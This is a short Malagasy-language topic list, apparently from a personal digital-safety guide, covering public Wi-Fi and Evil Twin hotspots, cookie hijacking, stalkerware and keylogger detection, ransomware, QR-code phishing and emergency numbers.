• Wi-Fi ho an'ny daholobe, toerana mafana Evil Twin, ary fiarovana amin'ny juice jack
• Session cookie hijacking, infostealer malware, ary fanafoanana ny token
• Stalkerware, spyware, ary keylogger detection amin'ny telefaona
• Otrikaretina malware, ransomware, ary spyware
• phishing kaody QR (quishing) sy famindrana ratsy
• Laharana vonjy maika araka ny firenena